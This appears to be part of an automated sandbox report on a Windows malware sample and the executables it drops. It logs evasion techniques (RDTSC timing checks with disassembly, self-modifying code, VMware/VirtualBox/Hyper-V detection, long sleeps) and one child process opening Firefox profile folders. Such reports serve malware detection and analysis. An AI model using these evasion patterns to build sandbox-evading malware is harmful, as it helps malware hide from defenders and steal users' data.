Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0743 second address: 4DB0752 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F32FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0752 second address: 4DB076A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F45A8838C84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB076A second address: 4DB076E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB076E second address: 4DB07C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F45A8838C7Ch 0x00000010 add eax, 1C998368h 0x00000016 jmp 00007F45A8838C7Bh 0x0000001b popfd 0x0000001c movzx ecx, bx 0x0000001f popad 0x00000020 xchg eax, ebx 0x00000021 jmp 00007F45A8838C7Bh 0x00000026 xchg eax, esi 0x00000027 jmp 00007F45A8838C86h 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB07C5 second address: 4DB07CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB07CB second address: 4DB084A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F45A8838C86h 0x0000000f xchg eax, edi 0x00000010 pushad 0x00000011 push ecx 0x00000012 call 00007F45A8838C7Dh 0x00000017 pop ecx 0x00000018 pop edi 0x00000019 pushfd 0x0000001a jmp 00007F45A8838C7Eh 0x0000001f add ecx, 5292ECE8h 0x00000025 jmp 00007F45A8838C7Bh 0x0000002a popfd 0x0000002b popad 0x0000002c push eax 0x0000002d jmp 00007F45A8838C89h 0x00000032 xchg eax, edi 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB084A second address: 4DB0850 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0850 second address: 4DB0856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0856 second address: 4DB085A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB085A second address: 4DB085E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB085E second address: 4DB0870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [76FBB370h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0870 second address: 4DB0879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 9466h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0879 second address: 4DB08AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F32FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [ebp-08h], eax 0x0000000c jmp 00007F45A84F3300h 0x00000011 xor eax, ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F45A84F32FCh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB08AC second address: 4DB08B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB08B2 second address: 4DB08B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB08B6 second address: 4DB08EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F45A8838C7Eh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F45A8838C7Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB08EA second address: 4DB08FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F3301h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB08FF second address: 4DB094D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b pushad 0x0000000c mov edx, 3E3DAB28h 0x00000011 pushfd 0x00000012 jmp 00007F45A8838C81h 0x00000017 add ecx, 71B60896h 0x0000001d jmp 00007F45A8838C81h 0x00000022 popfd 0x00000023 popad 0x00000024 lea eax, dword ptr [ebp-10h] 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F45A8838C7Dh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB094D second address: 4DB0984 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F3301h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 movsx edx, ax 0x00000015 call 00007F45A84F3304h 0x0000001a pop eax 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0984 second address: 4DB0A23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop ebx 0x00000005 pushfd 0x00000006 jmp 00007F45A8838C7Ah 0x0000000b sbb si, DD78h 0x00000010 jmp 00007F45A8838C7Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov esi, dword ptr [ebp+08h] 0x0000001c jmp 00007F45A8838C86h 0x00000021 mov eax, dword ptr [esi+10h] 0x00000024 pushad 0x00000025 mov ax, E56Dh 0x00000029 popad 0x0000002a test eax, eax 0x0000002c jmp 00007F45A8838C84h 0x00000031 jne 00007F461A947FBAh 0x00000037 jmp 00007F45A8838C80h 0x0000003c sub eax, eax 0x0000003e jmp 00007F45A8838C81h 0x00000043 mov dword ptr [ebp-20h], eax 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 mov di, 34AEh 0x0000004d jmp 00007F45A8838C7Fh 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0A23 second address: 4DB0A29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0A29 second address: 4DB0A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0A2D second address: 4DB0A94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F32FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, dword ptr [esi] 0x0000000d jmp 00007F45A84F3306h 0x00000012 mov dword ptr [ebp-24h], ebx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F45A84F32FEh 0x0000001c add si, 3088h 0x00000021 jmp 00007F45A84F32FBh 0x00000026 popfd 0x00000027 mov ax, 40FFh 0x0000002b popad 0x0000002c test ebx, ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F45A84F3301h 0x00000035 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6264F1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 47C4EA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 64E804 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 47EA4C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6AD8F9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E364F1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C8C4EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E5E804 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C8EA4C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: EBD8F9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Special instruction interceptor: First address: 764FC4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Special instruction interceptor: First address: 7648D7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Special instruction interceptor: First address: 764822 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Special instruction interceptor: First address: 90E480 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Special instruction interceptor: First address: 998DCA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Special instruction interceptor: First address: 46C9A1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Special instruction interceptor: First address: 46A546 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Special instruction interceptor: First address: 62E8C8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Special instruction interceptor: First address: 6A3B09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Special instruction interceptor: First address: 6CF9C3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Special instruction interceptor: First address: 6CF904 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Special instruction interceptor: First address: 8724D0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Special instruction interceptor: First address: 886A09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Special instruction interceptor: First address: 9043C3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Special instruction interceptor: First address: D0DB83 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Special instruction interceptor: First address: EB7D82 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Special instruction interceptor: First address: EB8160 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Special instruction interceptor: First address: EB69BD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Special instruction interceptor: First address: EC9455 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Memory allocated: 5110000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Memory allocated: 5580000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Memory allocated: 53C0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04E00C7D rdtsc

0_2_04E00C7D

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1121	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1104	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1132	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1106	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1069	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Window / User API: threadDelayed 3074	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Window / User API: threadDelayed 2840	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\unmYCIPOHmXNjqOesrEy.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\service123.exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2188	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2188	Thread sleep time: -74037s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7220	Thread sleep count: 1121 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7220	Thread sleep time: -2243121s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1456	Thread sleep count: 254 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1456	Thread sleep time: -7620000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2688	Thread sleep count: 1104 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2688	Thread sleep time: -2209104s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1720	Thread sleep count: 1132 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1720	Thread sleep time: -2265132s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2472	Thread sleep count: 1106 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2472	Thread sleep time: -2213106s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2336	Thread sleep count: 1069 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2336	Thread sleep time: -2139069s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5548	Thread sleep count: 102 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5548	Thread sleep time: -204102s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1720	Thread sleep count: 124 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1720	Thread sleep time: -248124s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7356	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe TID: 7596	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe TID: 7596	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe TID: 7768	Thread sleep count: 73 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe TID: 7768	Thread sleep time: -146073s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe TID: 7772	Thread sleep count: 61 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe TID: 7772	Thread sleep time: -122061s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe TID: 3684	Thread sleep count: 3074 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe TID: 3684	Thread sleep time: -6151074s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe TID: 7756	Thread sleep count: 2840 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe TID: 7756	Thread sleep time: -5682840s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe TID: 7784	Thread sleep count: 60 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe TID: 7784	Thread sleep time: -120060s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe TID: 744	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe TID: 744	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe TID: 4228	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe TID: 4956	Thread sleep time: -54027s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe TID: 8140	Thread sleep time: -36000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe TID: 6460	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe TID: 6652	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe TID: 3872	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe TID: 6608	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe TID: 6016	Thread sleep time: -44022s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe TID: 7872	Thread sleep time: -52026s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe TID: 7888	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe TID: 5592	Thread sleep count: 318 > 30
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe TID: 5592	Thread sleep time: -1908000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe TID: 7744	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe TID: 5376	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007D17FB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	7_2_007D17FB
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007D174A FindFirstFileExW,	9_2_007D174A
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007D17FB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	9_2_007D17FB

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000002.00000002.1797031968.0000000000E18000.00000040.00000001.01000000.00000007.sdmp, e5e907fecb.exe, 0000000D.00000002.2680948648.00000000005FF000.00000040.00000001.01000000.0000000B.sdmp, 3996dc7402.exe, 0000000E.00000002.3211141650.0000000000856000.00000040.00000001.01000000.0000000C.sdmp, e5e907fecb.exe, 0000000F.00000002.3268414442.00000000005FF000.00000040.00000001.01000000.0000000B.sdmp, e5e907fecb.exe, 0000000F.00000002.3301835374.0000000005DFB000.00000040.00000800.00020000.00000000.sdmp, 3996dc7402.exe, 00000021.00000002.3311788946.0000000000856000.00000040.00000001.01000000.0000000C.sdmp, 19cf1f0449.exe, 00000024.00000002.3050513336.0000000000E9B000.00000040.00000001.01000000.00000015.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 3996dc7402.exe, 0000000E.00000002.3218633907.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareAdY
Source: 3996dc7402.exe, 00000021.00000002.3320048411.000000000117B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware&
Source: firefox.exe, 00000023.00000002.2937157498.0000027907D71000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllz
Source: e5e907fecb.exe, 0000000F.00000002.3297937577.00000000056C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: firefox.exe, 00000023.00000002.2937157498.0000027907D60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWm
Source: firefox.exe, 00000023.00000002.2937157498.0000027907D71000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll4
Source: r5mqFEC.exe, r5mqFEC.exe, 0000000A.00000003.2662244591.000000000320D000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000002.2666574933.0000000003255000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2662244591.0000000003255000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000002.2666427560.000000000320D000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000D.00000002.2681648947.000000000116A000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000D.00000002.2681648947.0000000001197000.00000004.00000020.00020000.00000000.sdmp, 3996dc7402.exe, 0000000E.00000002.3218633907.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp, 3996dc7402.exe, 0000000E.00000002.3218633907.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp, 3996dc7402.exe, 0000000E.00000002.3218633907.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000002.3277415310.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 3996dc7402.exe, 00000021.00000002.3320048411.000000000117B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: e5e907fecb.exe, 0000000F.00000002.3297937577.00000000056C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: firefox.exe, 00000022.00000002.2938380300.000002651B213000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
